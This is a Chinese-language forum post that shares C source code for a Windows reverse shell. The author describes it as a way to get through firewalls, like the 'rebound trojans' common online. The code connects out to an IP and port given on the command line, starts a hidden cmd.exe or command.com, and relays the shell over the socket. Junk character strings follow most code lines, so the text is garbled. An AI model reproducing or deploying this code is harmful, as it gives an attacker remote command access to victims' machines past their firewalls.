社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4368阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rurC! -  
x,\PV>   
/* ============================== |M?yCo  
Rebound port in Windows NT Z=sCYLm  
By wind,2006/7 )+[{MR '  
===============================*/ YQ`GOP#/  
#include \ORNOX:  
#include $vS`w4Y  
3N?WpA768/  
#pragma comment(lib,"wsock32.lib") FTtGiGd|Zy  
D?u*^?a2  
void OutputShell(); .)W'{2J-  
SOCKET sClient; lc%2Pi[X  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SC~cryb  
Ks.pb !r  
void main(int argc,char **argv) 1;p'2-x  
{  0u4:=Z}W  
WSADATA stWsaData; Z2Bl$ \  
int nRet; ;as4EqiK  
SOCKADDR_IN stSaiClient,stSaiServer; m8Q6ESg<*u  
Q"UQv<  
if(argc != 3) c~0YIk>]  
{ :^DuB_  
printf("Useage:\n\rRebound DestIP DestPort\n"); *`:zSnu  
return; iPMI$  
} eUYd0L!  
xf8C$|,  
WSAStartup(MAKEWORD(2,2),&stWsaData); zof>S>5>R7  
Q:\I %o  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]3_oT^$:  
) MFa~/x  
stSaiClient.sin_family = AF_INET; A L#"j62  
stSaiClient.sin_port = htons(0); <_@ S@t)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .y{qsL^P  
fbKL31PI  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) uj$b/I>.'  
{ f1;Pzr  
printf("Bind Socket Failed!\n"); r >:7)p!|  
return; 8>Hnv]p  
} d,|W  
'&5A*X]d  
stSaiServer.sin_family = AF_INET; qby!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mnM#NT5]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8t!/O p ?  
)TxAhaz+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~Dw.3P:-  
{ 5taYm'  
printf("Connect Error!"); pHlw&8(f"  
return; e2Sudd=' G  
} Akf?BB3bC  
OutputShell(); O $uXQ.r  
} B:=*lU.n  
. gK*Jpmx  
void OutputShell() s@C@q(i6  
{ oc,a  
char szBuff[1024]; 9g#L"T=  
SECURITY_ATTRIBUTES stSecurityAttributes; )p7WU?&I  
OSVERSIONINFO stOsversionInfo; F4i c^F{K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4r!8_$fN?G  
STARTUPINFO stStartupInfo; RYD V60*O6  
char *szShell; \?-`?QPux  
PROCESS_INFORMATION stProcessInformation; PNLtpixZ  
unsigned long lBytesRead; :Vc+/ZyW  
2HBYReQ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9u/"bj  
r5z_{g  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %N@454enH  
stSecurityAttributes.lpSecurityDescriptor = 0; 8V%(SV  
stSecurityAttributes.bInheritHandle = TRUE; K oPTY^  
+Sk;  
\+mc   
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |s :b9sfA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m M!H}|  
ba^cw}5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vW`{BWd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [1@ -F+  
stStartupInfo.wShowWindow = SW_HIDE; `#hdb=3  
stStartupInfo.hStdInput = hReadPipe; NrVrR80Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WC,&p  
w? A&XB+  
GetVersionEx(&stOsversionInfo); 0"$Ui#r`  
bNR}Mk]?  
switch(stOsversionInfo.dwPlatformId) 4(MZ*6G]?  
{ K'~wlO@O  
case 1: _>B0q|]j4'  
szShell = "command.com"; 2-i>ymoOS  
break; b(dIl)Y4 :  
default: uYAPGs#k  
szShell = "cmd.exe"; ?fDF Rms  
break; a?CV;9   
} s8 .OL_e  
LbDhPG`u  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7nB@U$]-Sz  
|D%i3@P&ZR  
send(sClient,szMsg,77,0); !.mMO_4}  
while(1) 6|3$43J,F  
{ ~M%r.WFpA  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QA\eXnR  
if(lBytesRead) 2/f:VB?<T  
{ L,0HX   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hHF YAh   
send(sClient,szBuff,lBytesRead,0); g?!vR id@S  
} 4lH$BIAW  
else dIe-z7x  
{ uBw1Xud[YI  
lBytesRead=recv(sClient,szBuff,1024,0); YbF}(iM  
if(lBytesRead<=0) break; ~sk;6e)(2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GQoaBO.  
}  B\1F  
} _H(m4~ M  
orCD?vlh  
return; l@nkR&4[  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八